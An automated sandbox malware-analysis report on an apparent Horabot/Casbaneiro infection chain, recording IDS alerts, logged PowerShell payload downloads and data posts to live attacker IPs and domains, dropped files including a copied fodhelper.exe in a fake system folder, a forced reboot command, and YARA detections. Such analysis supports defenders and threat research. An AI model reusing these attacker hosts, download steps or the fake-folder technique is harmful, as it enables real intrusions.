Source:	Binary string: msvcr100.i386.pdb source: _nczuwk7_Hi7.exe, 0000000D.00000002.153233785190.00000000705B1000.00000020.00000001.01000000.0000000C.sdmp, _nczuwk7_Hi7.exe, 00000015.00000002.153234172300.00000000705B1000.00000020.00000001.01000000.0000000C.sdmp
Source:	Binary string: c:\workspace\8-2-build-windows-i586-cygwin\jdk8u92\6642\build\windows-i586\jdk\objs\kinit_objs\kinit.pdb source: _nczuwk7_Hi7.exe, 0000000D.00000000.153192357891.00000000001A2000.00000002.00000001.01000000.0000000B.sdmp, _nczuwk7_Hi7.exe, 0000000D.00000002.153225275437.00000000001A2000.00000002.00000001.01000000.0000000B.sdmp, _nczuwk7_Hi7.exe, 00000015.00000002.153225909917.00000000001A2000.00000002.00000001.01000000.0000000B.sdmp, _nczuwk7_Hi7.exe, 00000015.00000000.153199136457.00000000001A2000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: FodHelper.pdb source: fodhelper.exe, 00000011.00000002.153200507779.00007FF7A72BB000.00000002.00000001.01000000.0000000E.sdmp, fodhelper.exe, 00000011.00000000.153197198274.00007FF7A72BB000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: FodHelper.pdbGCTL source: fodhelper.exe, 00000011.00000002.153200507779.00007FF7A72BB000.00000002.00000001.01000000.0000000E.sdmp, fodhelper.exe, 00000011.00000000.153197198274.00007FF7A72BB000.00000002.00000001.01000000.0000000E.sdmp

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2841717 - Severity 1 - ETPRO MALWARE PowerShell/TrojanDownloader Casbaneiro CnC : 192.168.11.20:49765 -> 159.100.18.13:80
Source: Network traffic	Suricata IDS: 2841717 - Severity 1 - ETPRO MALWARE PowerShell/TrojanDownloader Casbaneiro CnC : 192.168.11.20:49768 -> 159.100.18.13:80
Source: Network traffic	Suricata IDS: 2841717 - Severity 1 - ETPRO MALWARE PowerShell/TrojanDownloader Casbaneiro CnC : 192.168.11.20:49767 -> 159.100.18.13:80
Source: Network traffic	Suricata IDS: 2841717 - Severity 1 - ETPRO MALWARE PowerShell/TrojanDownloader Casbaneiro CnC : 192.168.11.20:49775 -> 159.100.18.13:80
Source: Network traffic	Suricata IDS: 2052642 - Severity 1 - ET MALWARE Horabot Payload Inbound : 93.127.200.211:443 -> 192.168.11.20:49766
Source: Network traffic	Suricata IDS: 2834717 - Severity 1 - ETPRO MALWARE PowerShell Inbound with Antivirus Enumeration and Downloading Capabilities : 93.127.200.211:443 -> 192.168.11.20:49766
Source: Network traffic	Suricata IDS: 2052642 - Severity 1 - ET MALWARE Horabot Payload Inbound : 159.100.18.13:443 -> 192.168.11.20:49764
Source: Network traffic	Suricata IDS: 2834717 - Severity 1 - ETPRO MALWARE PowerShell Inbound with Antivirus Enumeration and Downloading Capabilities : 159.100.18.13:443 -> 192.168.11.20:49764
Source: Network traffic	Suricata IDS: 2052642 - Severity 1 - ET MALWARE Horabot Payload Inbound : 93.127.200.211:443 -> 192.168.11.20:49774
Source: Network traffic	Suricata IDS: 2834717 - Severity 1 - ETPRO MALWARE PowerShell Inbound with Antivirus Enumeration and Downloading Capabilities : 93.127.200.211:443 -> 192.168.11.20:49774

Source: global traffic	HTTP traffic detected: GET /ll2310/at3 HTTP/1.1Host: contablebar.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /a/08/150822/up/up HTTP/1.1Host: contablefea.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /a/08/150822/up/up HTTP/1.1Host: contablefea.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /a/08/150822/au/au HTTP/1.1Host: contablefea.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ldht/index26.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 159.100.18.13Content-Length: 94Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ps/index14.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 159.100.18.13Content-Length: 94Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ps1/index14.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 159.100.18.13Content-Length: 94Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ps/index14.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 159.100.18.13Content-Length: 94Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /a/08/150822/au/auout/anexo.zip HTTP/1.1Host: 93.127.200.211Connection: Keep-Alive

Source: Joe Sandbox View	ASN Name: ASMUNDA-ASSC ASMUNDA-ASSC
Source: Joe Sandbox View	ASN Name: DE-FIRSTCOLOwwwfirst-colonetDE DE-FIRSTCOLOwwwfirst-colonetDE

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49780 -> 93.127.200.211:80

Source: global traffic	HTTP traffic detected: GET /ZRALJZLWYNP/PNQRJTRMIB HTTP/1.1Accept: /Accept-Language: en-US,en-GB;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: contablegbv.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /INFB/index14.php HTTP/1.0Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 73Host: 159.100.18.13Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 b0c5r2K7a8s7E427ox/12.0
Source: global traffic	HTTP traffic detected: GET /a/08/150822/au/auout/list.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: 93.127.200.211
Source: global traffic	HTTP traffic detected: GET /a/08/150822/au/auout/list.0137.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: 93.127.200.211
Source: global traffic	HTTP traffic detected: POST /a/08/150822/au/auout/index.php?CHLG HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Content-Type: application/x-www-form-urlencodedHost: 93.127.200.211Content-Length: 18Expect: 100-continue

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 12 Dec 2024 11:57:39 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Thu, 05 Dec 2024 19:54:12 GMTETag: "207-6288b43200100"Accept-Ranges: bytesContent-Length: 519Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/zipData Raw: 50 4b 03 04 14 00 00 08 08 00 c6 86 85 59 09 28 7e 77 6b 01 00 00 16 02 00 00 1d 00 00 00 72 39 4e 32 79 31 48 34 79 34 61 31 66 39 36 39 32 33 37 36 36 38 34 38 2e 68 74 6d 6c 4d 92 4d 6f 1b 21 10 86 ef 96 fc 1f c8 56 ca 29 2c bb f6 da 4a 36 26 55 d5 26 a7 48 ad f2 71 c8 71 0c c3 2e 0d 0b 14 b0 53 2b ca 7f cf 7e c4 51 c4 61 de 79 5e 34 c0 0c 9b 93 5f bf 7f 3e 3c fd b9 26 6d ea cc d5 7c b6 19 22 31 60 1b 9e f9 44 af ef b3 11 22 c8 21 76 98 80 88 16 42 c4 c4 b3 c7 87 1b 7a 9e 7d 72 0b 1d f2 6c af f1 c5 bb 90 32 22 9c 4d 68 fb 7d 2f 5a a6 96 4b dc 6b 81 74 4c ce 88 b6 3a 69 30 34 0a 30 c8 cb bc 18 eb 24 9d 0c 5e 6d d8 14 7b 10 d3 61 14 5b 27 0f e4 75 3e 53 7d 4d aa a0 d3 e6 50 93 1f a1 af 70 46 22 d8 48 23 06 ad 2e e7 b3 0e 42 a3 6d 4d 8a 5e 7b 90 52 db a6 26 8b c2 ff ef f3 2d 88 e7 26 b8 9d 95 54 38 e3 42 4d be a9 6a 58 bd f7 36 9f b5 e5 70 c2 d1 59 2e 97 13 f6 5f e9 6a b5 9a e8 86 1d af 36 3d be 4d c9 53 fc b7 d3 7b 9e 05 54 01 63 fb a5 03 e5 25 79 bc bb e5 c3 a6 58 33 a6 74 c0 2d 44 8c c9 05 68 30 6f 9c 6b 0c 82 d7 31 17 ae 63 fb 82 6d d9 5f 90 b8 13 18 72 f0 3e 7a 97 46 c7 b1 c6 e5 c3 84 be 83 49 bc 43 a9 e1 34 b9 67 b4 5c 15 4a c8 72 51 d1 d5 c5 b9 a0 d5 02 04 ed 45 45 cb f5 62 79 51 55 4a ad d7 38 b6 98 1d 67 39 b4 74 04 1f 62 f4 a6 4f f0 0e 50 4b 01 02 14 00 14 00 00 08 08 00 c6 86 85 59 09 28 7e 77 6b 01 00 00 16 02 00 00 1d 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 72 39 4e 32 79 31 48 34 79 34 61 31 66 39 36 39 32 33 37 36 36 38 34 38 2e 68 74 6d 6c 50 4b 05 06 00 00 00 00 01 00 01 00 4b 00 00 00 a6 01 00 00 00 00 Data Ascii: PKY(~wkr9N2y1H4y4a1f96923766848.htmlMMo!V),J6&U&Hqq.S+~Qay^4_><&m|"1`D"!vBz}rl2"Mh}/ZKktL:i040$^m{a['u>S}MPpF"H#.BmM^{R&-&T8BMjX6pY._j6=MS{Tc%yX3t-Dh0ok1cm_r>zFIC4g\JrQEEbyQUJ8g9tbOPKY(~wk r9N2y1H4y4a1f96923766848.htmlPKK

Source: global traffic	HTTP traffic detected: GET /ZRALJZLWYNP/PNQRJTRMIB HTTP/1.1Accept: /Accept-Language: en-US,en-GB;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: contablegbv.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ll2310/at3 HTTP/1.1Host: contablebar.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /a/08/150822/up/up HTTP/1.1Host: contablefea.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /a/08/150822/up/up HTTP/1.1Host: contablefea.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /a/08/150822/au/au HTTP/1.1Host: contablefea.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /a/08/150822/au/auout/anexo.zip HTTP/1.1Host: 93.127.200.211Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /a/08/150822/au/auout/list.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: 93.127.200.211
Source: global traffic	HTTP traffic detected: GET /a/08/150822/au/auout/list.0137.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: 93.127.200.211

Source: global traffic	DNS traffic detected: DNS query: contablegbv.shop
Source: global traffic	DNS traffic detected: DNS query: contablebar.shop
Source: global traffic	DNS traffic detected: DNS query: contablefea.shop

Source: unknown

HTTP traffic detected: POST /ldht/index26.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 159.100.18.13Content-Length: 94Expect: 100-continueConnection: Keep-Alive

Source: mshta.exe, 00000000.00000002.154029716435.0000000006DE0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.153213657071.0000000002EC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: mshta.exe, 00000000.00000002.154029716435.0000000006DE0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.153213657071.0000000002EC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000017.00000002.153223627515.0000000007781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microso
Source: powershell.exe, 00000017.00000002.153216829786.0000000004FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000017.00000002.153216829786.0000000004E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000017.00000002.153216829786.0000000004FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: mshta.exe, 00000000.00000002.154029716435.0000000006DE0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.153213657071.0000000002EC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: powershell.exe, 00000017.00000002.153216829786.0000000004E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBWr
Source: shutdown.exe, 0000000C.00000002.153163814103.0000000002E38000.00000004.00000020.00020000.00000000.sdmp, shutdown.exe, 0000000C.00000002.153164112063.0000000002FB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablebar.shop/ll2310/at3
Source: shutdown.exe, 00000021.00000002.153493325651.0000022CAA274000.00000004.00000020.00020000.00000000.sdmp, shutdown.exe, 00000021.00000002.153493493566.0000022CAA300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablefea.shop/a/08/150822/up/up
Source: mshta.exe, 00000000.00000002.154021662792.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152803023729.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/
Source: mshta.exe, 00000000.00000002.154021662792.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152803023729.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/B
Source: mshta.exe, 00000000.00000003.152803556209.0000000002F72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIB
Source: mshta.exe, 00000000.00000003.152803023729.0000000002F94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIB.Z
Source: mshta.exe, 00000000.00000003.152803023729.0000000002F83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIB/S
Source: mshta.exe, 00000000.00000003.152803023729.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.154021662792.0000000002F94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIB9Z
Source: mshta.exe, 00000000.00000002.154021662792.0000000002FC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152803023729.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBDMC
Source: mshta.exe, 00000000.00000002.154030697180.0000000006EF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBH
Source: mshta.exe, 00000000.00000003.152803023729.0000000002F83000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.154021662792.0000000002F6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBOS
Source: mshta.exe, 00000000.00000002.154021662792.0000000002F6E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152803556209.0000000002F72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBQS?
Source: mshta.exe, 00000000.00000003.152803023729.0000000002FEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBTTC:
Source: mshta.exe, 00000000.00000003.152803023729.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBc
Source: mshta.exe, 00000000.00000003.152803023729.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBfH
Source: mshta.exe, 00000000.00000002.154029716435.0000000006DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBq?
Source: mshta.exe, 00000000.00000002.154021662792.0000000002F6E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152803556209.0000000002F72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBqS
Source: mshta.exe, 00000000.00000002.154021662792.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152803023729.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contablegbv.shop/z
Source: mshta.exe, mshta.exe, 00000000.00000002.154029467734.0000000006A7D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.154029085724.0000000006A5B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.154021662792.0000000003000000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.154029716435.0000000006DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com/
Source: mshta.exe, 00000000.00000002.154029716435.0000000006DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com/m
Source: mshta.exe, 00000000.00000002.154029085724.0000000006A0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com/v0/b/mdsarquitet.appspot.com/o/ldvb?alt=media&token=fb16-
Source: mshta.exe, 00000000.00000002.154021662792.0000000002FEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com/v0/b/mdsarquitet.appspot.com/o/ldvb?alt=media&token=fb1e94a6-
Source: mshta.exe, 00000000.00000002.154029085724.0000000006A5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com/v0/b/olJc
Source: curl.exe, 00000001.00000002.152824224611.0000000002EB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com/v0/b/ola445.appspot.com/o/bt?alt=media&token=a5082314-a2a5-43
Source: mshta.exe, 00000000.00000003.152802670664.000000000300A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152802884670.0000000003014000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: mshta.exe, 00000000.00000002.154021662792.000000000300E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comRQ6
Source: mshta.exe, 00000000.00000002.154029716435.0000000006DE0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.153213657071.0000000002EC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443

Source: unknown	HTTPS traffic detected: 159.100.18.13:443 -> 192.168.11.20:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.100.18.13:443 -> 192.168.11.20:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.127.200.211:443 -> 192.168.11.20:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.127.200.211:443 -> 192.168.11.20:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.127.200.211:443 -> 192.168.11.20:49777 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_6996.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_8440.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_2724.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\MSVCR100.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\MSVCR100.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows \System32\fodhelper.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\_nczuwk7_Hi7.exe (copy)	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\exe.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\WebView2Loader.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\i7.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\_nczuwk7_H.exe (copy)	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\WebView2Loader.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\jli.dll	Jump to dropped file

Uses shutdown.exe to shutdown or reboot the system

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\shutdown.exe "C:\Windows\system32\shutdown.exe" /r /t 10

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows \System32	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows \System32\fodhelper.exe	Jump to behavior

Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8828 -s 1196

Source: _nczuwk7_H.ia.a1.34.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Source: _nczuwk7_H.ia.a1.34.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Source: jli.dll.11.dr

Static PE information: Number of sections : 11 > 10

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: amsi32_6996.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_8440.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_2724.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.rans.expl.evad.winHTA@49/116@3/2

Source: C:\Windows\SysWOW64\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7412:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5364:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9092:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8376:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7412:304:WilStaging_02
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess9072
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8836:304:WilStaging_02
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8828
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8836:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5360:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9184:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1936:304:WilStaging_02

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zljad41r.hzn.ps1

Jump to behavior

Source: Yara match	File source: 00000022.00000003.153580650154.000000000407D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.153581335000.0000000004076000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.153580423847.0000000003F6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.153580893069.0000000004077000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.153583371908.0000000003B25000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.153582564298.000000000418B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.153582817502.0000000003C37000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.153581113721.0000000004181000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.153581536572.0000000003E5B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.153581918930.0000000003F68000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\_nczuwk7_H\_nczuwk7_H.ia.a1, type: DROPPED

Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
